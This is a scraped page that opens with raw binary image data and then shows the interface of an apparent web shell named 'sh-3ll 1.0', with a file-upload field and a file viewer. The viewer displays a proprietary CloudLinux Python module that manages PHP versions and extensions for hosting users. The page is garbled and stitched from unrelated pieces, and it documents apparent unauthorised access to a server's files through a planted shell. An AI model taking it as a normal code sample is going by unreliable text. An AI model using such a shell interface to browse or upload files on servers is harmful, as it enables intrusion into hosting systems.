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੐)|#o0aڱ$I>}k&1`U#V?YsV x>{t1[I~D&(I$I/{H0fw"q"y%4 IXyE~M3 8XψL}qE$I[> nD?~sf ]o΁ cT6"?'_Ἣ $I>~.f|'!N?⟩0G KkXZE]ޡ;/&?k OۘH$IRۀwXӨ<7@PnS04aӶp.:@\IWQJ6sS%I$e5ڑv`3:x';wq_vpgHyXZ 3gЂ7{{EuԹn±}$I$8t;b|591nءQ"P6O5i }iR̈́%Q̄p!I䮢]O{H$IRϻ9s֧ a=`- aB\X0"+5"C1Hb?߮3x3&gşggl_hZ^,`5?ߎvĸ%̀M!OZC2#0x LJ0 Gw$I$I}<{Eb+y;iI,`ܚF:5ܛA8-O-|8K7s|#Z8a&><a&/VtbtLʌI$I$I$I$I$I$IRjDD%tEXtdate:create2022-05-31T04:40:26+00:00!Î%tEXtdate:modify2022-05-31T04:40:26+00:00|{2IENDB` sh-3ll

HOME


sh-3ll 1.0
DIR:/usr/share/l.v.e-manager/cpanel/lib/
Upload File :
Current File : //usr/share/l.v.e-manager/cpanel/lib/extensions.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
import sys
import os
import pwd
from future.moves import configparser as ConfigParser
import subprocess
import signal
import re
import tempfile
from builtins import map
from stat import S_IRUSR, S_IWUSR, S_IRGRP, S_IROTH

# To keep all configuration under one name
selector_conf = {
    'ALTERNATIVES_CONFIG':'/etc/cl.selector/selector.conf',
    'DEFAULTS_CONFIG':'/etc/cl.selector/defaults.cfg',
    'CAGEFS_PATH':'/var/cagefs',
    'NATIVE_PATH':'/usr/share/cagefs-skeleton/usr/selector',
    'CAGEFS_CHECK_PATH':'/usr/share/cagefs-skeleton/bin',
    'USER_SKELETON_PATH':'/usr/selector',
    'SYS_ALT_PATH':'/opt/alt',
    'PHP_INI':'alt_php.ini',
    'NATIVE_CONF':'/etc/cl.selector/native.conf',
    'NEW_INI_PATH':'/usr/share/cagefs-skeleton/usr/selector.etc/php.ini'
}

# Conflicting extesions that must not be enabled together

conflicts = {
    'eaccelerator':set(['apc','xcache', 'xcache_3']),
    'apc':set(['eaccelerator','xcache','zend_optimizer', 'xcache_3']),
    'xcache':set(['apc','eaccelerator', 'xcache_3']),
    'xcache_3':set(['apc','eaccelerator', 'xcache']),
    'zend_optimizer':set(['apc']),
    'idn':set(['intl']),
    'intl':set(['idn']),
}

def user_check(username):
    try:
        pwd.getpwnam(username)
    except KeyError:
        return None

    return str( pwd.getpwnam(username).pw_uid )[-2:]


def cagefs_user_check(username):
    """
    Check that cagefs enabled for user
    """
    LIBDIR = '/usr/share/cagefs'
    sys.path.append(LIBDIR)
    try:
        import cagefsctl
    except ImportError:
        print('ERROR: CageFS not installed.')
        sys.exit(1)
    try:
        return cagefsctl.is_user_enabled(username)
    except AttributeError:
        print('ERROR: CageFS version is unsupported. Please update CageFS.')
        sys.exit(1)


def process_config(item):
    """
    Parses selector config file and returns an installed
    selector versions in the dictionary
    config file format:
    php 5.4 5.4.9 /opt/alt/php54/usr/bin/php-cgi
    php-cli 5.4 5.4.9 /opt/alt/php54/usr/bin/php
    php-fpm 5.4 5.4.9 /opt/alt/php54/usr/sbin/php-fpm
    php.ini 5.4 5.4.9 /opt/alt/php54/etc/php.ini
    """
    try:
        data = getattr( process_config,'data' )
        return data
    except AttributeError:
        pass

    names = {}

    if not os.path.isfile(selector_conf['ALTERNATIVES_CONFIG']):
        print('WARN:Alternatives config not found. Using native version')
        return names
    
    for line in open(selector_conf['ALTERNATIVES_CONFIG']):
        stripped_line = line.strip()
        if stripped_line == "":
            continue
        subj, major, full, path = stripped_line.split() # parsing line by spaces

        if item not in subj:
            continue

        if major not in names:
            names[major] = {}

        names[major]['full'] = full

        if 'paths' not in names[major]:
            names[major]['paths'] = {}

        names[major]['paths'][subj] = path
    process_config.data = names
    return names


def process_defaults(item, version=None):
    """
    Parses defaults config and returns state of
    versions (enabled/disabled) and default version
    """
    c = ConfigParser.ConfigParser(interpolation=None, strict=False)
    config = c.read( [ selector_conf['DEFAULTS_CONFIG'] ] )
    
    # if no defaults.cfg, native is assumed to be default
    if not config:
        if not version:
            return {'native':set(['default'])}
        return ''

    if version:
        if c.has_option(item + version, 'modules'):
            return c.get(item + version, 'modules')
        else:
            return ''

    default_version = 'native'  # set default to native to start with
    versions = {}

    for i in c.sections():
        
        if i.startswith(item):

            #strip interpreter name from version
            v = i[len(item):]
            
            versions[v] = set()

            # add 'disabled' flag to versions set if disabled
            if c.has_option(i,'state') and c.get(i,'state') == 'disabled':
                versions[v].add('disabled')
    
    if c.has_option('versions',item):
        default_version = c.get('versions',item)
                   
    if not default_version in versions:
        versions[default_version] = set()
    
    # mark default version
    versions[default_version].add('default')

    return versions


def process_conflicts(extlist):
    """
    Get a comma-separated extensions string
    and returns extensions set having taken
    into account conficting extensions
    """
    if not extlist:
        return set()

    if type(extlist) is str:
        extlist = extlist.split(',')

    # extensions to enable
    extset = set()

    for ext in extlist:
        if ext in conflicts:
            i = extset.intersection(conflicts[ext])
            if not i:  # no conflicts
                extset.add(ext)
            else:       # print warnings and skip the extension
                print('WARN:' + ext + ' skipped as conflicting (' + ','.join(i) + ').')
                continue
        else:
            extset.add(ext)

    return extset
            

def get_sys_alt_path(item, version=None):
    """
    Returns system alternatives path
    or error if it does not exist
    """
    if not version:
        print("ERROR:no version")
        sys.exit(1)
    else:
        if '.' not in version:
            print("ERROR:wrong version")
            sys.exit(1)

    module_dir = os.path.join(
        selector_conf['SYS_ALT_PATH'],
        item + version.replace( '.', '' ),
        'etc',
        item + '.d.all'
    )

    if not os.path.isdir( module_dir ):
        print('ERROR:Alternatives directory not found.')
        sys.exit(2)
    
    return module_dir


skip_user_check = False


def get_user_ext_path(item, username, version):
    cagefs_user_path = user_check(username)
    if not cagefs_user_path:
        print("ERROR:No such user")
        return None

    if not skip_user_check:
        if not cagefs_user_check(username):
            print("ERROR:User is not in cagefs")
            return None

    user_modules_dir = os.path.join(
        selector_conf['CAGEFS_PATH'],
        cagefs_user_path,
        username,
        'etc',
        'cl.'+item+'.d'
    )

    if not os.path.isdir( user_modules_dir ):
        print('ERROR:No user alternatives directory.')
        return None

    return os.path.join( user_modules_dir, 'alt-' + item + version.replace( '.', '' ) )


def get_user_path(username):
    """
    Return user cl selector path
    or None if a problem arises
    """
    cagefs_user_path = user_check(username)
    if not cagefs_user_path:
        print("ERROR:No such user")
        return None

    if not skip_user_check:
        if not cagefs_user_check(username):
            print("ERROR:User is not in cagefs")
            return None


    # A given user ETC path 
    # (e.g. /var/cagefs/07/blissie/etc/cl.selector)
    # for interpreter binaries symlinks
    selector_path = os.path.join(
        selector_conf['CAGEFS_PATH'],
        cagefs_user_path,
        username,
        'etc',
        'cl.selector'
    )
    return selector_path


def process_dependencies(item, version, ext):
    """
    Finds dependencies for an extension
    """

    try:
        getattr( process_dependencies,'paths' )
    except AttributeError:
        process_dependencies.paths = {}

    if version in process_dependencies.paths:
        sys_alt_path = process_dependencies.paths[version]
    else:
        sys_alt_path = get_sys_alt_path( item, version )
        process_dependencies.paths[version] = sys_alt_path

    file = os.path.join( sys_alt_path, ext+'.ini' )
    if not os.path.isfile(file):
        print("WARN:No such extension (%s)" % (ext,))
        return []

    quirks = {'ixed':'sourceguardian'}

    ini = open( file, 'r' )

    extlist = []
    extdict = {}
    templist = []

    for line in ini:

        if line.startswith('\n'):
            continue

        if line.startswith(';') or line.startswith('#'):
            continue

        # We single out strings containing 'extension' word and
        # try to figure out an extension name
        if 'extension' in line:

            if '/' in line:
                extname = line[ line.rfind('/')+1:line.find('.') ]
            else:
                extname = line[ line.find('=')+1:line.find('.') ].lstrip(r' "')

            if '-' in extname:
                extname = extname[ :extname.rfind('-') ]

            if extname in quirks:
                extname = quirks[extname]
            elif ext in extname:
                extname = ext
            elif ('_' in ext) and (''.join(map((lambda x:x.capitalize()),ext.split('_'))) == extname):
                extname = ext

            extlist.append(extname)

        try:
            extdict[extname].append(line)
        except NameError:
            templist.append(line)
        except KeyError:
            extdict[extname] = []
            extdict[extname].append(';---'+extname+'---\n')
            extdict[extname].extend(templist)
            templist = []
            extdict[extname].append(line)

    ini.close()

    final_list = []
    for ext in extlist:
        final_list.append( {'name':ext,'data':extdict[ext]} )

    return final_list


def update_defaults(item, version, modules=None, action=None):
    """
    Updates default interpreter version and moduleset
    for a version indefaults.cfg
    """
    
    if os.geteuid() != 0:
        print("ERROR:Superuser privileges required")
        sys.exit(1)

    if not version:
        print("ERROR:Version must be specified")
        return
   
    data = {}
    if os.path.isfile( selector_conf['DEFAULTS_CONFIG'] ):
        cfg=open(selector_conf['DEFAULTS_CONFIG'],'r')
        for line in cfg:

            if line.startswith('\n'):
                continue

            if line.startswith(';') or line.startswith('#'):
                continue

            if '[' in line and ']' in line:
                section = line[line.find('[')+1:line.rfind(']')].strip()
                if section not in data:
                    data[section] = {}
                continue

            if item in line:
                try:
                    data[section][item] = line[line.index('=')+1:].strip()
                except ValueError:
                    pass
                continue

            if 'modules' in line:
                try:
                    modlist = line[line.index('=')+1:].strip()
                except ValueError:
                    continue

                try:
                    data[section]['modules'] = modlist
                except (NameError, KeyError):
                    pass
                continue

            if 'state' in line and 'disabled' in line:
                try:
                    data[section]['state'] = 'disabled'
                except (NameError, KeyError):
                    pass

        cfg.close()

    if 'versions' not in data: # no file
        data['versions'] = {}
        data['versions'][item] = 'native'

    # update modules list taking into account
    # conflicts and dependencies
    version_key = item + version
    if modules:
        extlist = []
        extset = set()
        for ext in process_conflicts(modules):
            for _e in process_dependencies(item, version, ext):
                if _e['name'] in extset:    # this module has already been enabled
                    continue
                if _e['name'] != ext and _e['name'] not in modules:
                    # this is a dependency. Inform about it
                    print("WARN:%s enabled as dependency (%s)" % (_e['name'], ext))
                extset.add(_e['name'])
                extlist.append(_e['name'])
        modules = ','.join(extlist)

        if version_key not in data:
            data[version_key] = {}
        data[version_key]['modules'] = modules

    elif action:
        if action == 'disable':
            if version_key not in data:
                data[version_key] = {}
            data[version_key]['state'] = 'disabled'
        else:
            if version_key in data and 'state' in data[version_key]:
                del data[version_key]['state']
                if 'native' in version_key:
                    del data[version_key]

    else:
        data['versions'][item] = version

    cfg=open(selector_conf['DEFAULTS_CONFIG'],'w')
    v = data.pop('versions')    # versions section must be on top
    if item in v:
        cfg.write( "[versions]\n%s=%s\n\n" % ( item, v[item] ) )
    for d in sorted(data.keys()):
        options = []
        for o in data[d]:
            options.append( o + '=' + data[d][o] )
        cfg.write( "[%s]\n%s\n\n" % ( d, '\n'.join(options) ) )
    cfg.close()


def get_alternatives( item, username ):
    """
    Returns currently selected interpreter version
    of a binary for a specified user
    """

    entries = process_config(item)

    if not username:
        defaults = process_defaults(item)
        if defaults:
            default = list(filter((lambda x:'default' in defaults[x]),list(defaults.keys())))[0]
            if default in entries:
                return {
                    'major': default,
                    'full': entries[default]['full'],
                    'paths': list(map(
                        (lambda x: entries[default]['paths'][x]),
                        list(entries[default]['paths'].keys())
                    ))
                } 
            else:
                return {'major': default, 'full': default, 'paths': []}
        return {}

    selector_path = get_user_path(username)
    if not selector_path:
        sys.exit(1)

    if os.path.isdir(selector_path):

        for obj in os.listdir(selector_path):

            if not obj.startswith(item):
                continue

            link_to_alternative = os.path.join( selector_path, obj )
            if os.path.islink( link_to_alternative ):
                link_destination = os.readlink( link_to_alternative )

                if item == obj and os.path.dirname(link_destination) == selector_conf['USER_SKELETON_PATH']:
                    return { 'major':'native', 'full':'native', 'paths':[link_destination] }

                for key in entries:
                    if item in entries[key]['paths'] and entries[key]['paths'][item] == link_destination:
                        return {
                            'major':key,
                            'full':entries[key]['full'],
                            'paths':list(map(
                                (lambda x:entries[key]['paths'][x]),
                                list(entries[key]['paths'].keys())
                            ))
                        }

    return {}


def get_alternatives_summary( item, username ):
    """
    Returns alternatives set and marks selected alternative
    """
    entries = process_config(item)

    # get defaults as a dictionary
    defaults = process_defaults(item)
    for v in defaults.keys():
        if 'default' in defaults[v]:
            default_version = v

    output = {}

    # native version is always present
    output['native'] = set()
    if 'native' in defaults:
        output['native'].update(defaults['native'])

    for key in entries:
        if key not in output:
            output[key] = set()

        if key in defaults:
            output[key].update(defaults[key])

    if not username:
        return output
        
    selector_path = get_user_path(username)
    if not selector_path:
        sys.exit(1)

    if os.path.isdir(selector_path):
        for obj in os.listdir(selector_path):

            if not obj.startswith(item):
                continue

            link_to_alternative = os.path.join( selector_path, obj )
            if os.path.islink( link_to_alternative ):
                link_destination = os.readlink( link_to_alternative )

                if item == obj and os.path.dirname(link_destination) == selector_conf['USER_SKELETON_PATH']:
                    if 'disabled' in output['native']:
                        print('WARN:Native version is disabled. Defaults used')
                        set_alternatives(item, default_version, username, True)
                        output[default_version].add('selected')
                        return output
                    else:
                        output['native'].add('selected')
                        return output
         
                for key in entries:   
                    if item in entries[key]['paths'] and entries[key]['paths'][item] == link_destination:
                        if 'disabled' in output[key]:
                            print('WARN:Version %s is disabled. Defaults used' % (key,))
                            set_alternatives(item, default_version, username, True)
                            output[default_version].add('selected')
                            return output
                        else:
                            output[key].add('selected')
                            return output


def set_alternatives( item, version, username, backup=False ):

    if not os.path.isdir(selector_conf['CAGEFS_CHECK_PATH']):
        print('ERROR:CageFS not found.')
        sys.exit(2)
        
    new_ini_set = False
    entries = process_config(item)
    if not entries:
        return
    selector_path = get_user_path(username)
    if not selector_path:
        sys.exit(1)

    if not os.path.isdir( selector_path ):
        print('ERROR:No user selector directory.')
        sys.exit(2)

    for file in os.listdir( selector_path ):

        if item not in file:
            continue

        link_to_alternative = os.path.join( selector_path, file )
        
        if os.path.islink( link_to_alternative ) or os.path.isfile( link_to_alternative ):

            try:
                os.unlink( link_to_alternative )
            except OSError as e:
                if e.errno == 2:
                     pass
                else:
                     print("ERROR: %s %s" % ( e.strerror, file ))
                     sys.exit(2)

    if version == 'native':
        if not os.path.isdir(selector_conf['NATIVE_PATH']):
            print('ERROR:No directory for native binary.')
            sys.exit(2)
        if os.path.exists(selector_conf['NEW_INI_PATH']):
            try:
                target = os.path.basename(selector_conf['NEW_INI_PATH'])
                source  = os.path.join(
                    selector_conf['USER_SKELETON_PATH']+'.etc', target)
                destination = os.path.join(selector_path, target)
                os.symlink(source, destination)
                new_ini_set = True
            except OSError as e:
                print("Could not create a symlink: %s" % ( e.strerror, ))
                sys.exit(1)
                
        for binary in os.listdir( selector_conf['NATIVE_PATH'] ):

            if item not in binary:
                continue
            if binary.endswith('.ini') and new_ini_set:
                continue
            destination = os.path.join( selector_path, binary )
            source = os.path.join( selector_conf['USER_SKELETON_PATH'], binary )
            try:
                os.symlink( source, destination )
            except OSError as e:
                print("Could not create a symlink: %s" % ( e.strerror, ))
                sys.exit(1)
    else:
        for source in entries[version]['paths'].keys():
            destination = os.path.join( selector_path, source )
            try:
                os.symlink( entries[version]['paths'][source], destination )
            except OSError as e:
                print("Could not create a symlink: %s" % ( e.strerror, ))
                sys.exit(1)

    # Rewrite user php.ini
    if item == 'php':
        is_error = False
        try:
            from clcagefslib.selector.panel.da import da_change_user_php_ini
            from clcagefslib.selector.panel.isp import ispmanager_create_user_wrapper
        except ImportError as e:
            print("Could not import cagefs module: %s" % str(e))
            is_error = True

        if not is_error:
            da_change_user_php_ini(username, version)
            ispmanager_create_user_wrapper(username, version)

            from clselect.cluserselect import ClUserSelect
            pw = pwd.getpwnam(username)
            ClUserSelect.switch_symlink_for_alt_php(version, pw, exit_on_error=False)

    if backup:
        save_config(item, username)

    reload_processes(item, username)


def list_extensions( item, username, version=None, showall=False ):
    """
    Collects info about enabled and all installed selector extensions
    for a specified (or currently selected version) and returns it
    in ordered structure for further processing
    """

    if version:
        if version == 'native':
            if username:
                print("WARN:No extensions for native binary")
                sys.exit(0)
            else:
                return dict.fromkeys(get_builtins(item,version),-1)
        else:
            if not '.' in version:
                print('ERROR:Wrong version format')
                sys.exit(1)
    else:
        if username:
            version = get_alternatives( item, username )['major']
        else:
            config_data = process_defaults(item)
            for v in config_data.keys():
                if 'default' in config_data[v]:
                    version = v
                    break
       
    enabled = {}

    if username:
        user_dir = get_user_ext_path(item, username, version)

        if not user_dir:
            sys.exit(2);

        user_path = os.path.join(user_dir, selector_conf['PHP_INI'])

        if os.path.isfile(user_path):
            ini_file = open(user_path, 'r')
            for line in ini_file:
                if line.startswith(';---'):
                    module_name = line[ 4 : line.rfind('---') ]
                    enabled[module_name] = 1
            ini_file.close()

        if not showall:
            return [ enabled ]

    ini_dir = get_sys_alt_path( item, version )
    modules = {}

    for entry in os.listdir( ini_dir ):
        if not entry.endswith('.ini'):
            continue
        modules[ entry[ : entry.find('.ini') ] ] = 0

    if username:
        return [ enabled, modules ]
    
    enabled = process_defaults(item, version)

    for ext in enabled.split(','):
        if ext in modules:
            modules[ext] = 1
    modules.update( dict.fromkeys( get_builtins( item, version ), -1 ) )

    return modules


def enable_extension( item, usernames, extstring, version=None, backup=False ):
    """
    Enable comma-separated list of extensions for comma-separated list of users
    Enabling extesions is made by means of regenerating one .ini file for enabled
    modules
    """
    if version:
        if (version == 'native'):
            print("WARN:Operation not supported")
            sys.exit(0)
        else:
            if not '.' in version:
                print("ERROR:Wrong version (" + version + ")")
                sys.exit(1)

    for username in usernames.split(','):
        
        if not version:
            version = get_alternatives( item, username)['major']

        user_dir = get_user_ext_path(item, username, version)

        if not user_dir:
            continue

        user_path = os.path.join(user_dir, selector_conf['PHP_INI'])

        ini_dir = get_sys_alt_path(item, version)

        # Use _load_ini_contents to read extensions and options
        from clselect.cluserextselect import ClUserExtSelect
        content, extlist, extdict = ClUserExtSelect._load_ini_contents(user_path)

        checklist = extlist[:]
        checklist.extend(extstring.split(','))
        checked_set = process_conflicts(checklist)
        for ext in  extstring.split(','):

            if ext not in checked_set:
                continue

            for _e in process_dependencies(item, version, ext):
                if _e['name'] in extdict:    # this module has already been enabled
                    continue
                if _e['name'] != ext:       # this is a dependency. Inform about it
                    print("WARN:%s enabled as dependency (%s)" % (_e['name'], ext))
                extlist.append(_e['name'])
                extdict[_e['name']] = _e['data']

        if 'ioncube_loader' in extdict:
            content.append( ''.join( extdict['ioncube_loader'] ) )
            del extdict['ioncube_loader']
        for ext in extlist:
            if ext in extdict:
                content.append( ''.join( extdict[ext] ) )
        process_path( username, user_dir, selector_conf['PHP_INI'], "\n".join(content)+"\n" )

        if backup:
            save_config( item, username )

        reload_processes( item, username )


def disable_extension( item, usernames, extnames, version=None, backup=False ):

    if version:
        if (version == 'native'):
            print("WARN:Operation not supported")
            sys.exit(0)
        else:
            if not '.' in version:
                print("ERROR:Wrong version (" + version + ")")
                sys.exit(1)

    for username in usernames.split(','):

        if not version:
            version = get_alternatives( item, username)['major']

        user_dir = get_user_ext_path(item, username, version)

        if not user_dir:
            continue

        if not os.path.isdir( user_dir ):
            continue

        user_path = os.path.join(user_dir, selector_conf['PHP_INI'])

        if not os.path.isfile(user_path):
            continue

        ini_dir = get_sys_alt_path(item, version)

        # Use _load_ini_contents to read extensions and options
        from clselect.cluserextselect import ClUserExtSelect
        content, extlist, extdict = ClUserExtSelect._load_ini_contents(user_path)

        exclusions_set = set( extnames.split(',') )
        depdict = {}
        for ext in extlist:
            extset = set(map((lambda x:x['name']), process_dependencies(item, version, ext)))
            if len(extset) > 1:                 # there are dependencies
                extset.discard(ext)             # leave only dependencies in set
                for s in extset:
                    if s not in depdict:
                        depdict[s] = set()
                    depdict[s].add(ext)         # to form dependencies dictionary

        for ext in extlist:
            if ext in exclusions_set:            # if we want to remove extension
                if ext in depdict:              # but if we see it is a dependency
                    if set(extlist).intersection(depdict[ext]) and exclusions_set.intersection(depdict[ext]) != depdict[ext]:
                        print("WARN:%s left as dependency (%s)" % (ext, ','.join(depdict[ext])))
                        continue                # we skip it if dependant modules are to be left
                del extdict[ext]                # else remove it

        for ext in extlist:
            if ext in extdict:
                content.append( ''.join( extdict[ext] ) )
        process_path( username, user_dir, selector_conf['PHP_INI'], "\n".join(content)+"\n" )

        if backup:
            save_config( item, username )

        reload_processes( item, username )

# ToDo: not used ?
def update_extensions( item, usernames, extstring, version=None, backup=False ):
    """
    Enable comma-separated list of extensions for comma-separated list of users
    Enabling extesions is made by means of regenerating one .ini file for enabled
    modules
    """
    if version:
        if (version == 'native'):
            print("WARN:Operation not supported")
            sys.exit(0)
        else:
            if not '.' in version:
                print("ERROR:Wrong version (" + version + ")")
                sys.exit(1)

    for username in usernames.split(','):

        if not version:
            version = get_alternatives( item, username)['major']

        user_dir = get_user_ext_path(item, username, version)
        
        if not user_dir:
            continue

        if not os.path.isdir( user_dir ):
            continue

        user_path = os.path.join(user_dir, selector_conf['PHP_INI'])

        if not os.path.isfile(user_path):
            continue

        ini_dir = get_sys_alt_path(item, version)

        extdict = {}
        extlist = []
        content = []

        ini_file = open(user_path, 'r')
        is_content = False

        for line in ini_file:
            # we want to preserve stuff in this section

            # Check if it is content block
            if line.startswith(';>==='):
                is_content = True
                content.append(line)

            # Processing content
            elif is_content:
                # Skip comments
                if line.startswith(';') and not line.startswith(';<==='):
                    continue
                # Append until the end of block ('<===')
                content.append(line)
                if line.startswith(';<==='):
                    is_content = False
        ini_file.close()

        for ext in process_conflicts(extstring):

            for _e in process_dependencies(item, version, ext):
                if _e['name'] in extdict:    # this module has already been enabled
                    continue
                if _e['name'] != ext and _e['name'] not in extstring:       # this is a dependency. Inform about it
                    print("WARN:%s enabled as dependency (%s)" % (_e['name'], ext))
                extlist.append(_e['name'])
                extdict[_e['name']] = _e['data']

        if 'ioncube_loader' in extdict:
            content.append( ''.join( extdict['ioncube_loader'] ) )
            del extdict['ioncube_loader']
        for ext in extlist:
            if ext in extdict:
                content.append( ''.join( extdict[ext] ) )
        process_path( username, user_dir, selector_conf['PHP_INI'], "\n".join(content)+"\n" )

        if backup:
            save_config( item, username )

        reload_processes( item, username )


def save_config( item, username ):
    config = {}
    userindex = user_check(username)
    path = os.path.join('/var/cagefs', userindex, username, 'etc/cl.selector')
    modpath = os.path.join('/var/cagefs',userindex, username, 'etc/cl.php.d' )
    config_path = os.path.join( pwd.getpwnam(username).pw_dir, '.cl.selector' )

    if not os.path.isdir(path):
        return
    else:
        for i in ['php', 'php-cli', 'lsphp', 'php-fpm']:
            fullpath = os.path.join(path,i)
            if not os.path.islink(fullpath):
                continue
            linkpath = os.path.realpath(fullpath)
            if linkpath.startswith(selector_conf['USER_SKELETON_PATH']):
                config['versions'] = item + '=native'
                break
            elif linkpath.startswith(selector_conf['SYS_ALT_PATH']):
                try:
                    # extract string like 'php54' from path like /opt/alt/php54/etc/php.d.all
                    version_string = linkpath[ linkpath.index( '/',
                        len(selector_conf['SYS_ALT_PATH']) )+1 : linkpath.index( '/',
                            len(selector_conf['SYS_ALT_PATH'])+1 ) ]
                    version_string = version_string[len(item):]
                    config['versions'] = '='.join( ( item,
                        '.'.join( (version_string[:1], version_string[1:],) ) ) )
                    break
                except ValueError:
                    continue

    # traverse subdirectories and extract versions
    # from directory names strings like 'alt-php54'
    if os.path.isdir(modpath):
        for version in os.listdir(modpath):
            version_path = os.path.join(modpath,version)
            try:
                digits = version[ version.index(item)+len(item): ]
                
                # Handle incorrect paths
                if digits.find('\\') >= 0:
                    continue

                section = item + '.'.join( ( digits[:1], digits[1:] ) )
                config[section] = []
            except ValueError:
                continue
    content = [ "[versions]\n" + config.pop('versions') + "\n" ]
    for v in config:
        content.append('[' + v + "]\nmodules=" + ','.join(list(list_extensions(item,
                                                                               username,
                                                                               v[len(item):])[0].keys())) + "\n")
    process_path( username, config_path, 'defaults.cfg', "\n".join(content)+"\n" )


def process_path(username, path, filename=None, filecontent=None):
    """
    writes files changing to target user uid/gid
    """
    obj_uid = pwd.getpwnam(username).pw_uid
    obj_gid = pwd.getpwnam(username).pw_gid
   
    euid_is_changed = False
    subj_euid = os.geteuid()
    subj_egid = os.getegid()

    filepath = os.path.join(path, filename)
    if os.path.islink(filepath):
        try:
            os.unlink(filepath)
        except OSError:
            print("ERROR:cannot delete symlink in user home")
            sys.exit(13)

    if subj_euid != obj_uid:
        try:
            os.setegid(obj_gid)
            os.seteuid(obj_uid)
            euid_is_changed = True
        except OSError:
            print("ERROR:Failed to change to %s EUID" % (username,))
            sys.exit(1)

    if not os.path.isdir(path):
        try:
            os.mkdir(path)
        except OSError:
            pass
    
    if filename and filecontent:
        file_path = os.path.join( path, filename )
        try:
            fd, temp_path = tempfile.mkstemp( prefix='lvetmp_', dir=path )
            file = os.fdopen(fd, 'w')
            file.write(filecontent)
            file.close()
        except (IOError, OSError):
            try:
                if os.path.exists(temp_path):
                    os.unlink(temp_path)
            except:
                pass
        else:
            try:
                mask = S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
                os.rename(temp_path, file_path)
                os.chmod(file_path, mask)
            except OSError:
                pass

    if euid_is_changed:
        os.setegid(subj_egid)
        os.seteuid(subj_euid)
  

def reload_processes( item, username ):
    ps = subprocess.Popen(['/bin/ps','-U',username,'-u',username],stdout=subprocess.PIPE)
    lines = ps.communicate()[0].split("\n")
    processes = []
    for row in lines:
        parts = row.rstrip().split()
        try:
            parts[-1].index(item)
            os.kill( int(parts[0]), signal.SIGHUP )
        except IndexError:
            continue
        except ValueError:
            continue

def get_builtins(item, version):
    data = process_config(item)
    binary = item + '-cli'
    if version in data:
        path = data[version]['paths'][binary]
    else:
        path = get_native_path(item)
    list = subprocess.Popen([path,'-qm'],stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
    lines = list.communicate()[0]
    zend_index = lines.find('[Zend')
    patt = re.compile(r"^\w")
    stripped = lines[:((zend_index >= 0 and zend_index) or len(lines))]

    builtins = []
    for ext in stripped.split("\n"):
        if not patt.match(ext):
            continue
        builtins.append("_".join( re.split( "\s+", ext.lower() ) ) )
    return builtins

def get_native_path(item):
    """
    Returns native interpreter binary path
    """
    if os.path.isfile(selector_conf['NATIVE_CONF']):
        cfg = open(selector_conf['NATIVE_CONF'])
        binary = item + '-cli'
        binary_paths = []

        for line in cfg:

            if line.startswith('#'):
                continue

            if binary in line:
                path  = line[line.find(binary)+len(binary)+1:].strip('\'"=\n ')
                binary_paths.append(path)

        for p in binary_paths:
            if os.path.isfile(p) and not os.path.islink(p):
                return p

    # if not found suppose cpanel cli binary
    return '/usr/bin/php'